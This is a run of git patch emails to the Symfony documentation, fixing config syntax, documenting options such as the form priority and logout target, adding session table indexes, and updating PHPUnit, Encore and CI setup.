index e836f1f752f..8f53a05c9ab 100644
--- a/reference/forms/types/options/priority.rst.inc
+++ b/reference/forms/types/options/priority.rst.inc
@@ -3,8 +3,14 @@ priority
 
 **type**: ``integer`` **default**: ``0``
 
-    Allows you to set the field rendering priority. This option will affect
-    the view order only, sorting all fields in order of importance instead of
-    simply numerical order, i.e. fields with higher priority will be rendered
-    first, fields with lower priority will be rendered last and fields with
-    equal priority will keep the original order.
+.. versionadded:: 5.3
+
+    The ``priority`` option was introduced in Symfony 5.3.
+
+Fields are rendered in the same order as they are included in the form. This
+option changes the field rendering priority, allowing you to display fields
+earlier or later than their original order.
+
+This option will affect the view order only. The higher this priority, the
+earlier the field will be rendered. Priority can also be negative and fields
+with the same priority will keep their original order.

From 42d1f7958b7626baf3b1e0c23f413c539cc8ff12 Mon Sep 17 00:00:00 2001
From: Javier Spagnoletti <phansys@gmail.com>
Date: Tue, 11 May 2021 08:11:56 -0300
Subject: [PATCH 0827/5766] Add a note about `messenger:stop-workers` command

---
 messenger.rst | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index 526017c0093..ea301c44d33 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -493,6 +493,15 @@ On production, there are a few important things to think about:
     new worker processes. The command uses the :ref:`app <cache-configuration-with-frameworkbundle>`
     cache internally - so make sure this is configured to use an adapter you like.
 
+.. note::
+
+    If your deploy strategy involves the creation of new target directories, you
+    should set a value for the :ref:`cache.prefix.seed <reference-cache-prefix-seed>`
+    configuration option in order to let this command use always the same cache namespace
+    between deployments. Otherwise, the ``cache.app`` pool will use the value of the
+    ``kernel.project_dir`` parameter as base for the namespace, which will lead to
+    different namespaces each time a new deployment is made.
+
 Prioritized Transports
 ~~~~~~~~~~~~~~~~~~~~~~
 

From 9358d8f7f72fa9b04166c6d4e3d9c7a7a63bd934 Mon Sep 17 00:00:00 2001
From: Maxim Tugaev <tugmaks@yandex.ru>
Date: Tue, 11 May 2021 17:57:47 +0300
Subject: [PATCH 0828/5766] Update experimental_authenticators.rst

https://github.com/symfony/symfony/blob/5.x/UPGRADE-5.2.md#security
---
 security/experimental_authenticators.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/security/experimental_authenticators.rst b/security/experimental_authenticators.rst
index 027b1087d1d..cdcb40b8541 100644
--- a/security/experimental_authenticators.rst
+++ b/security/experimental_authenticators.rst
@@ -120,7 +120,7 @@ unauthenticated access (e.g. the login page):
     .. code-block:: php
 
         // config/packages/security.php
-        use Symfony\Component\Security\Http\Firewall\AccessListener;
+        use Symfony\Component\Security\Core\Authorization\Voter\AuthenticatedVoter;
 
         $container->loadFromExtension('security', [
             'enable_authenticator_manager' => true,
@@ -128,7 +128,7 @@ unauthenticated access (e.g. the login page):
             // ...
             'access_control' => [
                 // allow unauthenticated users to access the login form
-                ['path' => '^/admin/login', 'roles' => AccessListener::PUBLIC_ACCESS],
+                ['path' => '^/admin/login', 'roles' => AuthenticatedVoter::PUBLIC_ACCESS],
 
                 // but require authentication for all other admin routes
                 ['path' => '^/admin', 'roles' => 'ROLE_ADMIN'],

From f40c6522bae5a84f1a7c78ae3532642c6f68a703 Mon Sep 17 00:00:00 2001
From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Wed, 12 May 2021 20:50:08 +0200
Subject: [PATCH 0829/5766] [HttpKernel] Minor Fix

---
 components/http_kernel.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/http_kernel.rst b/components/http_kernel.rst
index 9a1d5a31049..3fd76780295 100644
--- a/components/http_kernel.rst
+++ b/components/http_kernel.rst
@@ -516,7 +516,7 @@ Handling Exceptions: the ``kernel.exception`` Event
 
 If an exception is thrown at any point inside ``HttpKernel::handle()``, another
 event - ``kernel.exception`` is thrown. Internally, the body of the ``handle()``
-function is wrapped in a try-catch block. When any exception is thrown, the
+method is wrapped in a try-catch block. When any exception is thrown, the
 ``kernel.exception`` event is dispatched so that your system can somehow respond
 to the exception.
 

From 4b19645b4c40c13e75f1001c1947fb019bc1ed1c Mon Sep 17 00:00:00 2001
From: iamvar <iamvar@gmail.com>
Date: Wed, 12 May 2021 21:50:42 +0300
Subject: [PATCH 0830/5766] remove unused inc files

---
 .../service_container/_my_mailer.rst.inc      | 33 -------------------
 reference/forms/types/options/scale.rst.inc   |  9 -----
 security/_supportsToken.rst.inc               | 10 ------
 3 files changed, 52 deletions(-)
 delete mode 100644 _includes/service_container/_my_mailer.rst.inc
 delete mode 100644 reference/forms/types/options/scale.rst.inc
 delete mode 100644 security/_supportsToken.rst.inc

diff --git a/_includes/service_container/_my_mailer.rst.inc b/_includes/service_container/_my_mailer.rst.inc
deleted file mode 100644
index 01eafdfe87a..00000000000
--- a/_includes/service_container/_my_mailer.rst.inc
+++ /dev/null
@@ -1,33 +0,0 @@
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/services.yaml
-        services:
-            app.mailer:
-                class:        App\Mailer
-                arguments:    [sendmail]
-
-    .. code-block:: xml
-
-        <!-- config/services.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
-
-            <services>
-                <service id="app.mailer" class="App\Mailer">
-                    <argument>sendmail</argument>
-                </service>
-            </services>
-        </container>
-
-    .. code-block:: php
-
-        // config/services.php
-        use App\Mailer;
-
-        $container->register('app.mailer', Mailer::class)
-            ->addArgument('sendmail');
diff --git a/reference/forms/types/options/scale.rst.inc b/reference/forms/types/options/scale.rst.inc
deleted file mode 100644
index 0d2ec3d6dbc..00000000000
--- a/reference/forms/types/options/scale.rst.inc
+++ /dev/null
@@ -1,9 +0,0 @@
-``scale``
-~~~~~~~~~
-
-**type**: ``integer`` **default**: Locale-specific (usually around ``3``)
-
-This specifies how many decimals will be allowed until the field rounds
-the submitted value (via ``rounding_mode``). For example, if ``scale`` is set
-to ``2``, a submitted value of ``20.123`` will be rounded to, for example,
-``20.12`` (depending on your `rounding_mode`_).
diff --git a/security/_supportsToken.rst.inc b/security/_supportsToken.rst.inc
deleted file mode 100644
index e4403123a01..00000000000
--- a/security/_supportsToken.rst.inc
+++ /dev/null
@@ -1,10 +0,0 @@
-After Symfony calls ``createToken()``, it will then call ``supportsToken()``
-on your class (and any other authentication listeners) to figure out who should
-handle the token. This is just a way to allow several authentication mechanisms
-to be used for the same firewall (that way, you can for instance first try
-to authenticate the user via a certificate or an API key and fall back to
-a form login).
-
-Essentially, you need to make sure that this method returns ``true`` for a
-token that has been created by ``createToken()``. Your logic should probably
-look exactly like this example.

From 82c2108bf3bce8863a1578dd18aed7a636ec3a4c Mon Sep 17 00:00:00 2001
From: Stefan Grootscholten <stefan.grootscholten@webpower.nl>
Date: Fri, 14 May 2021 19:52:07 +0200
Subject: [PATCH 0831/5766] Adds a description to the exchange arguments

The description contains the alternate-exchange as example.
---
 messenger.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index e66e5219896..aa40f23a3f8 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1023,7 +1023,8 @@ The transport has a number of options:
 ``queues[name][binding_arguments]``           Arguments to be used while binding the queue.
 ``queues[name][binding_keys]``                The binding keys (if any) to bind to this queue
 ``queues[name][flags]``                       Queue flags                                        ``AMQP_DURABLE``
-``exchange[arguments]``
+``exchange[arguments]``                       Extra arguments for the exchange i.e.
+                                              alternate-exchange
 ``exchange[default_publish_routing_key]``     Routing key to use when publishing, if none is
                                               specified on the message
 ``exchange[flags]``                           Exchange flags                                     ``AMQP_DURABLE``

From 87dbab9c039c826db035d8443e95cbae3463a15e Mon Sep 17 00:00:00 2001
From: Artyum <artyum@protonmail.com>
Date: Sat, 15 May 2021 13:52:28 +0400
Subject: [PATCH 0832/5766] [Rate Limiter] Added missing opening single quotes

Added the missing opening single quotes in the PHP config example
---
 rate_limiter.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/rate_limiter.rst b/rate_limiter.rst
index c95b96161a4..87cd5fe59d1 100644
--- a/rate_limiter.rst
+++ b/rate_limiter.rst
@@ -410,7 +410,7 @@ Use the ``cache_pool`` option to override the cache used by a specific limiter
 
         // config/packages/rate_limiter.php
         $container->loadFromExtension('framework', [
-            rate_limiter' => [
+            'rate_limiter' => [
                 'anonymous_api' => [
                     // ...
 
@@ -484,7 +484,7 @@ you can use a specific :ref:`named lock <lock-named-locks>` via the
 
         // config/packages/rate_limiter.php
         $container->loadFromExtension('framework', [
-            rate_limiter' => [
+            'rate_limiter' => [
                 'anonymous_api' => [
                     // ...
 

From 57aa49a4a0d7899a2b3aacbd8684852b865af437 Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Sun, 16 May 2021 14:29:29 +0200
Subject: [PATCH 0833/5766] Fix syntax error

---
 rate_limiter.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/rate_limiter.rst b/rate_limiter.rst
index c95b96161a4..87f61c140ac 100644
--- a/rate_limiter.rst
+++ b/rate_limiter.rst
@@ -178,7 +178,7 @@ enforce different levels of service (free or paid):
 
         // config/packages/rate_limiter.php
         $container->loadFromExtension('framework', [
-            rate_limiter' => [
+            'rate_limiter' => [
                 'anonymous_api' => [
                     // use 'sliding_window' if you prefer that policy
                     'policy' => 'fixed_window',
@@ -484,7 +484,7 @@ you can use a specific :ref:`named lock <lock-named-locks>` via the
 
         // config/packages/rate_limiter.php
         $container->loadFromExtension('framework', [
-            rate_limiter' => [
+            'rate_limiter' => [
                 'anonymous_api' => [
                     // ...
 

From 6d438c93155588df4e9ae9b279fda2bd6342ee51 Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Sun, 16 May 2021 14:37:48 +0200
Subject: [PATCH 0834/5766] [CI] Dont use the special respository for
 docs-builder

---
 _build/composer.json | 5 +----
 1 file changed, 1 insertion(+), 4 deletions(-)

diff --git a/_build/composer.json b/_build/composer.json
index 3f1d6049e4b..4934e45625f 100644
--- a/_build/composer.json
+++ b/_build/composer.json
@@ -1,9 +1,6 @@
 {
     "minimum-stability": "dev",
     "prefer-stable": true,
-    "repositories": [
-        { "type": "git", "url": "https://github.com/weaverryan/docs-builder" }
-    ],
     "config": {
         "platform": {
             "php": "7.4.14"
@@ -16,7 +13,7 @@
     "require": {
         "php": ">=7.4",
         "symfony/console": "^5.2",
-        "symfony/docs-builder": "^0.15.0",
+        "symfony-tools/docs-builder": "^0.15.0",
         "symfony/process": "^5.2"
     }
 }

From e4ddf567f2f1a20d6986dc89c124b09c5f44298b Mon Sep 17 00:00:00 2001
From: Roman Tymoshyk <tymoshyk.roman@gmail.com>
Date: Fri, 14 May 2021 16:23:09 +0300
Subject: [PATCH 0835/5766] Fixed array notation for yaml file in
 session/database.rst

---
 session/database.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/session/database.rst b/session/database.rst
index f7a5b002dbb..4f7e84e9a30 100644
--- a/session/database.rst
+++ b/session/database.rst
@@ -92,7 +92,7 @@ and ``RedisProxy``:
                     # you can optionally pass an array of options. The only options are 'prefix' and 'ttl',
                     # which define the prefix to use for the keys to avoid collision on the Redis server 
                     # and the expiration time for any given entry (in seconds), defaults are 'sf_s' and null:
-                    # - { 'prefix' => 'my_prefix', 'ttl' => 600 }
+                    # - { 'prefix': 'my_prefix', 'ttl': 600 }
 
     .. code-block:: xml
 

From 365f4c52d4e963ae513c468a73c30215c7323f74 Mon Sep 17 00:00:00 2001
From: Jess <code@jessinthe.cloud>
Date: Fri, 14 May 2021 22:28:52 -0400
Subject: [PATCH 0836/5766] Update deprecated PHPUnit schema & doc links

PHPUnit gives "Warning: Your XML configuration validates against a deprecated schema."
Running the suggested `./vendor/bin/phpunit --migrate-configuration` updated phpunit.xml.dist and fixed the warning. The resulting XML is the update here.

The links to PHPUnit are also outdated; updated to link to the current stable (English) release
---
 create_framework/unit_testing.rst | 21 +++++++++++----------
 1 file changed, 11 insertions(+), 10 deletions(-)

diff --git a/create_framework/unit_testing.rst b/create_framework/unit_testing.rst
index cff94d1087b..9390879150c 100644
--- a/create_framework/unit_testing.rst
+++ b/create_framework/unit_testing.rst
@@ -13,27 +13,28 @@ using `PHPUnit`_. Create a PHPUnit configuration file in
 
 .. code-block:: xml
 
-    <?xml version="1.0" encoding="UTF-8" ?>
+    <?xml version="1.0" encoding="UTF-8"?>
     <phpunit
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-        xsi:noNamespaceSchemaLocation="https://schema.phpunit.de/5.1/phpunit.xsd"
+        xsi:noNamespaceSchemaLocation="https://schema.phpunit.de/9.3/phpunit.xsd"
         backupGlobals="false"
         colors="true"
         bootstrap="vendor/autoload.php"
     >
+        <coverage processUncoveredFiles="true">
+            <include>
+                <directory suffix=".php">./src</directory>
+            </include>
+        </coverage>
+        
         <testsuites>
             <testsuite name="Test Suite">
                 <directory>./tests</directory>
             </testsuite>
         </testsuites>
-
-        <filter>
-            <whitelist processUncoveredFilesFromWhitelist="true">
-                <directory suffix=".php">./src</directory>
-            </whitelist>
-        </filter>
     </phpunit>
 
+
 This configuration defines sensible defaults for most PHPUnit settings; more
 interesting, the autoloader is used to bootstrap the tests, and tests will be
 stored under the ``example.com/tests/`` directory.
@@ -215,6 +216,6 @@ Symfony code.
 Now that we are confident (again) about the code we have written, we can
 safely think about the next batch of features we want to add to our framework.
 
-.. _`PHPUnit`: https://phpunit.de/manual/current/en/index.html
-.. _`test doubles`: https://phpunit.de/manual/current/en/test-doubles.html
+.. _`PHPUnit`: https://phpunit.readthedocs.io/en/stable/
+.. _`test doubles`: https://phpunit.readthedocs.io/en/stable/test-doubles.html
 .. _`XDebug`: https://xdebug.org/

From be5ede7c3fb361b629a82165df9887b40c2c7473 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 17 May 2021 11:58:24 +0200
Subject: [PATCH 0837/5766] Remove extra blank line

---
 create_framework/unit_testing.rst | 1 -
 1 file changed, 1 deletion(-)

diff --git a/create_framework/unit_testing.rst b/create_framework/unit_testing.rst
index 9390879150c..4db1ba57b9b 100644
--- a/create_framework/unit_testing.rst
+++ b/create_framework/unit_testing.rst
@@ -34,7 +34,6 @@ using `PHPUnit`_. Create a PHPUnit configuration file in
         </testsuites>
     </phpunit>
 
-
 This configuration defines sensible defaults for most PHPUnit settings; more
 interesting, the autoloader is used to bootstrap the tests, and tests will be
 stored under the ``example.com/tests/`` directory.

From 40f3f86b955846839973af2cf13477fc9e2324f4 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Tue, 11 May 2021 13:16:18 +0200
Subject: [PATCH 0838/5766] Unifying wording to "configuration parameter"

---
 best_practices.rst |  2 +-
 routing.rst        | 12 ++++++------
 2 files changed, 7 insertions(+), 7 deletions(-)

diff --git a/best_practices.rst b/best_practices.rst
index 8917b619106..ba58ea2bd8f 100644
--- a/best_practices.rst
+++ b/best_practices.rst
@@ -130,7 +130,7 @@ Use Constants to Define Options that Rarely Change
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 Configuration options like the number of items to display in some listing rarely
-change. Instead of defining them as :ref:`service container parameters <configuration-parameters>`,
+change. Instead of defining them as :ref:`configuration parameters <configuration-parameters>`,
 define them as PHP constants in the related classes. Example::
 
     // src/Entity/Post.php
diff --git a/routing.rst b/routing.rst
index fefe3a190a3..bda19021338 100644
--- a/routing.rst
+++ b/routing.rst
@@ -269,7 +269,7 @@ arbitrary matching logic:
              *     condition="context.getMethod() in ['GET', 'HEAD'] and request.headers.get('User-Agent') matches '/firefox/i'"
              * )
              *
-             * expressions can also include config parameters:
+             * expressions can also include configuration parameters:
              * condition: "request.headers.get('User-Agent') matches '%app.allowed_browsers%'"
              */
             public function contact(): Response
@@ -285,7 +285,7 @@ arbitrary matching logic:
             path:       /contact
             controller: 'App\Controller\DefaultController::contact'
             condition:  "context.getMethod() in ['GET', 'HEAD'] and request.headers.get('User-Agent') matches '/firefox/i'"
-            # expressions can also include config parameters:
+            # expressions can also include configuration parameters:
             # condition: "request.headers.get('User-Agent') matches '%app.allowed_browsers%'"
 
     .. code-block:: xml
@@ -299,7 +299,7 @@ arbitrary matching logic:
 
             <route id="contact" path="/contact" controller="App\Controller\DefaultController::contact">
                 <condition>context.getMethod() in ['GET', 'HEAD'] and request.headers.get('User-Agent') matches '/firefox/i'</condition>
-                <!-- expressions can also include config parameters: -->
+                <!-- expressions can also include configuration parameters: -->
                 <!-- <condition>request.headers.get('User-Agent') matches '%app.allowed_browsers%'</condition> -->
             </route>
         </routes>
@@ -314,7 +314,7 @@ arbitrary matching logic:
             $routes->add('contact', '/contact')
                 ->controller([DefaultController::class, 'contact'])
                 ->condition('context.getMethod() in ["GET", "HEAD"] and request.headers.get("User-Agent") matches "/firefox/i"')
-                // expressions can also include config parameters:
+                // expressions can also include configuration parameters:
                 // 'request.headers.get("User-Agent") matches "%app.allowed_browsers%"'
             ;
         };
@@ -575,7 +575,7 @@ URL                       Route          Parameters
 .. tip::
 
     Route requirements (and route paths too) can include
-    :ref:`container parameters <configuration-parameters>`, which is useful to
+    :ref:`configuration parameters <configuration-parameters>`, which is useful to
     define complex regular expressions once and reuse them in multiple routes.
 
 .. tip::
@@ -1681,7 +1681,7 @@ these routes.
             [],
             [],
             ['HTTP_HOST' => 'm.example.com']
-            // or get the value from some container parameter:
+            // or get the value from some configuration parameter:
             // ['HTTP_HOST' => 'm.' . $client->getContainer()->getParameter('domain')]
         );
 

From b9f84c833fd3c82ed91b6006612de1ffd2bcb8df Mon Sep 17 00:00:00 2001
From: Christopher <chris@johnstoncode.com>
Date: Tue, 18 May 2021 09:44:40 +0100
Subject: [PATCH 0839/5766] Added indexes to sql commands used to create
 session tables

As per https://github.com/symfony/symfony/blob/4.4/UPGRADE-4.4.md#httpfoundation `PdoSessionHandler` now precalculates the expiry timestamp in the lifetime column
---
 session/database.rst | 7 +++++--
 1 file changed, 5 insertions(+), 2 deletions(-)

diff --git a/session/database.rst b/session/database.rst
index 4f7e84e9a30..6a69c172c16 100644
--- a/session/database.rst
+++ b/session/database.rst
@@ -393,7 +393,8 @@ MariaDB/MySQL
         `sess_id` VARBINARY(128) NOT NULL PRIMARY KEY,
         `sess_data` BLOB NOT NULL,
         `sess_lifetime` INTEGER UNSIGNED NOT NULL,
-        `sess_time` INTEGER UNSIGNED NOT NULL
+        `sess_time` INTEGER UNSIGNED NOT NULL,
+        INDEX `sessions_sess_lifetime_idx` (`sess_lifetime`)
     ) COLLATE utf8mb4_bin, ENGINE = InnoDB;
 
 .. note::
@@ -414,6 +415,7 @@ PostgreSQL
         sess_lifetime INTEGER NOT NULL,
         sess_time INTEGER NOT NULL
     );
+    CREATE INDEX sessions_sess_time_idx ON sessions (sess_lifetime);
 
 Microsoft SQL Server
 ....................
@@ -424,7 +426,8 @@ Microsoft SQL Server
         sess_id VARCHAR(128) NOT NULL PRIMARY KEY,
         sess_data NVARCHAR(MAX) NOT NULL,
         sess_lifetime INTEGER NOT NULL,
-        sess_time INTEGER NOT NULL
+        sess_time INTEGER NOT NULL,
+        INDEX sessions_sess_lifetime_idx (sess_lifetime)
     );
 
 Store Sessions in a NoSQL Database (MongoDB)

From f0fa111af3b9c8cfc07783b7dc5a2ad331336ce7 Mon Sep 17 00:00:00 2001
From: mismailzai <60405127+mismailzai@users.noreply.github.com>
Date: Mon, 17 May 2021 13:57:37 -0700
Subject: [PATCH 0840/5766] Update lock.rst

fix typo
---
 components/lock.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/lock.rst b/components/lock.rst
index 25ad931a4e4..4cd5cdb7726 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -474,7 +474,7 @@ PHP process is terminated::
 Reliability
 -----------
 
-The component guarantees that the same resource can't be lock twice as long as
+The component guarantees that the same resource can't be locked twice as long as
 the component is used in the following way.
 
 Remote Stores

From 6f2c11ad2f64eca23cbbea6d76b6d3bd918d43f3 Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Fri, 16 Apr 2021 13:43:40 +0200
Subject: [PATCH 0841/5766] [Workflow] Updated wording on comment

---
 workflow.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/workflow.rst b/workflow.rst
index e698fd70290..aeb5e570fdc 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -248,7 +248,7 @@ machine type, use ``camelCased workflow name + StateMachine``::
     {
         private $blogPublishingWorkflow;
 
-        // this injects the blog_publishing workflow configured before
+        // Symfony will inject the blog_publishing workflow configured before
         public function __construct(WorkflowInterface $blogPublishingWorkflow)
         {
             $this->blogPublishingWorkflow = $blogPublishingWorkflow;

From e7159d793ba3150f54e446fd349713bddc15d58e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 18 May 2021 12:24:39 +0200
Subject: [PATCH 0842/5766] Tweak

---
 workflow.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/workflow.rst b/workflow.rst
index aeb5e570fdc..dde07d94480 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -248,7 +248,7 @@ machine type, use ``camelCased workflow name + StateMachine``::
     {
         private $blogPublishingWorkflow;
 
-        // Symfony will inject the blog_publishing workflow configured before
+        // Symfony will inject the 'blog_publishing' workflow configured before
         public function __construct(WorkflowInterface $blogPublishingWorkflow)
         {
             $this->blogPublishingWorkflow = $blogPublishingWorkflow;

From 4de542d148eaafc59366a912119bc300ba6d7d06 Mon Sep 17 00:00:00 2001
From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Mon, 17 May 2021 20:30:36 +0200
Subject: [PATCH 0843/5766] Update NuSOAP client example

---
 controller/soap_web_service.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/controller/soap_web_service.rst b/controller/soap_web_service.rst
index 12d01cd0ec1..95c078700c1 100644
--- a/controller/soap_web_service.rst
+++ b/controller/soap_web_service.rst
@@ -38,7 +38,6 @@ In this case, the SOAP service will allow the client to call a method called
 
         public function hello($name)
         {
-
             $message = (new \Swift_Message('Hello Service'))
                 ->setTo('me@example.com')
                 ->setBody($name.' says hi!');
@@ -96,13 +95,13 @@ buffering the STDOUT and use ``ob_get_clean()`` to dump the echoed output
 into the content of the Response and clear the output buffer. Finally, you're
 ready to return the ``Response``.
 
-Below is an example calling the service using a `NuSOAP`_ client. This example
+Below is an example calling the service using a native `SoapClient`_ client. This example
 assumes that the ``index()`` method in the controller above is accessible via
 the route ``/soap``::
 
     $soapClient = new \SoapClient('http://example.com/index.php/soap?wsdl');
 
-    $result = $soapClient->call('hello', ['name' => 'Scott']);
+    $result = $soapClient->__soapCall('hello', ['name' => 'Scott']);
 
 An example WSDL is below.
 
@@ -170,3 +169,4 @@ An example WSDL is below.
 .. _`NuSOAP`: https://sourceforge.net/projects/nusoap
 .. _`output buffering`: https://www.php.net/manual/en/book.outcontrol.php
 .. _`Laminas SOAP`: https://docs.laminas.dev/laminas-soap/server/
+.. _`SoapClient`: https://www.php.net/manual/en/class.soapclient.php

From 3826ca9d4132136df09c808adaf5f238f011d0a8 Mon Sep 17 00:00:00 2001
From: MatTheCat <math.lechat@gmail.com>
Date: Tue, 18 May 2021 10:11:32 +0200
Subject: [PATCH 0844/5766] Document logout.target

---
 reference/configuration/security.rst | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index ea6826724ef..f2034f29a3b 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -593,6 +593,13 @@ required by the :class:`Symfony\\Component\\Security\\Core\\User\\UserInterface`
 The path which triggers logout. If you change it from the default value ``/logout``,
 you need to set up a route with a matching path.
 
+target
+~~~~~~
+
+**type**: ``string`` **default**: ``/``
+
+The route, path or URL to redirect to after logout.
+
 success_handler
 ~~~~~~~~~~~~~~~
 
@@ -601,6 +608,8 @@ success_handler
 The service ID used for handling a successful logout. The service must implement
 :class:`Symfony\\Component\\Security\\Http\\Logout\\LogoutSuccessHandlerInterface`.
 
+If it is set, ``target`` will be ignored.
+
 .. _reference-security-logout-csrf:
 
 csrf_parameter

From 7bb3f9434041ffb2437801b137ae79ceea64aedd Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 19 May 2021 10:25:59 +0200
Subject: [PATCH 0845/5766] Minor tweaks

---
 reference/configuration/security.rst | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index f2034f29a3b..76c8f44eff3 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -598,7 +598,9 @@ target
 
 **type**: ``string`` **default**: ``/``
 
-The route, path or URL to redirect to after logout.
+The relative path (if the value starts with ``/``), or absolute URL (if it
+starts with ``http://`` or ``https://``) or the route name (otherwise) to
+redirect after logout.
 
 success_handler
 ~~~~~~~~~~~~~~~
@@ -608,7 +610,7 @@ success_handler
 The service ID used for handling a successful logout. The service must implement
 :class:`Symfony\\Component\\Security\\Http\\Logout\\LogoutSuccessHandlerInterface`.
 
-If it is set, ``target`` will be ignored.
+If it is set, the logout ``target`` option will be ignored.
 
 .. _reference-security-logout-csrf:
 

From dfacedc35d8e63a34dcf37d903d3fa2e9115d28b Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Piotr=20Grabski-Gradzin=CC=81ski?=
 <piotr.gradzinski@gmail.com>
Date: Fri, 14 May 2021 20:34:40 +0200
Subject: [PATCH 0846/5766] Adding file-loader dependency.

---
 frontend/encore/copy-files.rst |  6 +++++-
 frontend/encore/postcss.rst    | 32 +++++++++++++++++---------------
 frontend/encore/reactjs.rst    |  1 -
 3 files changed, 22 insertions(+), 17 deletions(-)

diff --git a/frontend/encore/copy-files.rst b/frontend/encore/copy-files.rst
index dc97fb0d434..6601260ba7f 100644
--- a/frontend/encore/copy-files.rst
+++ b/frontend/encore/copy-files.rst
@@ -28,7 +28,7 @@ Referencing Image files from a Template
 
 To reference an image file from outside of a JavaScript file that's processed by
 Webpack - like a template - you can use the ``copyFiles()`` method to copy those
-files into your final output directory.
+files into your final output directory. First enable it in ``webpack.config.js``:
 
 .. code-block:: diff
 
@@ -51,6 +51,10 @@ files into your final output directory.
     +         //pattern: /\.(png|jpg|jpeg)$/
     +     })
 
+Then restart Encore. When you do, it will give you a command you can run to
+install any missing dependencies. After running that command and restarting
+Encore, you're done!
+
 This will copy all files from ``assets/images`` into ``public/build`` (the output
 path). If you have :doc:`versioning enabled <versioning>`, the copied files will
 include a hash based on their content.
diff --git a/frontend/encore/postcss.rst b/frontend/encore/postcss.rst
index e30af2ae6ca..90caeb966e4 100644
--- a/frontend/encore/postcss.rst
+++ b/frontend/encore/postcss.rst
@@ -4,11 +4,26 @@ PostCSS and autoprefixing (postcss-loader)
 `PostCSS`_ is a CSS post-processing tool that can transform your CSS in a lot
 of cool ways, like `autoprefixing`_, `linting`_ and more!
 
-First, download ``postcss-loader`` and any plugins you want, like ``autoprefixer``:
+First enable it in ``webpack.config.js``:
+
+.. code-block:: diff
+
+      // webpack.config.js
+
+      Encore
+          // ...
+    +     .enablePostCssLoader()
+      ;
+
+Then restart Encore. When you do, it will give you a command you can run to
+install any missing dependencies. After running that command and restarting
+Encore, you're done!
+
+Next, download any plugins you want, like ``autoprefixer``:
 
 .. code-block:: terminal
 
-    $ yarn add postcss-loader autoprefixer --dev
+    $ yarn add autoprefixer --dev
 
 Next, create a ``postcss.config.js`` file at the root of your project:
 
@@ -24,19 +39,6 @@ Next, create a ``postcss.config.js`` file at the root of your project:
         }
     }
 
-Then, enable the loader in Encore!
-
-.. code-block:: diff
-
-      // webpack.config.js
-
-      Encore
-          // ...
-    +     .enablePostCssLoader()
-      ;
-
-Because you just modified ``webpack.config.js``, stop and restart Encore.
-
 That's it! The ``postcss-loader`` will now be used for all CSS, Sass, etc files.
 You can also pass options to the `postcss-loader`_ by passing a callback:
 
diff --git a/frontend/encore/reactjs.rst b/frontend/encore/reactjs.rst
index f7e206e15e8..927a13c4664 100644
--- a/frontend/encore/reactjs.rst
+++ b/frontend/encore/reactjs.rst
@@ -10,7 +10,6 @@ Using React? First add some dependencies with Yarn:
 
 .. code-block:: terminal
 
-    $ yarn add @babel/preset-react --dev
     $ yarn add react react-dom prop-types
 
 Enable react in your ``webpack.config.js``:

From 9a59a99a734036a660f99970ac4c3efb7468c5f7 Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Wed, 19 May 2021 11:23:01 +0200
Subject: [PATCH 0847/5766] [CI] Fixed composer cache for code blocks job

---
 .github/workflows/ci.yaml | 1 +
 1 file changed, 1 insertion(+)

diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index fab47d265ae..d279c2bf3c5 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -127,6 +127,7 @@ jobs:
 
           - name: Get composer cache directory
             id: composercache
+            working-directory: _build
             run: echo "::set-output name=dir::$(composer config cache-files-dir)"
 
           - name: Cache dependencies

From 943a63f7a1761379fdf67f4839b7eb3437a6539d Mon Sep 17 00:00:00 2001
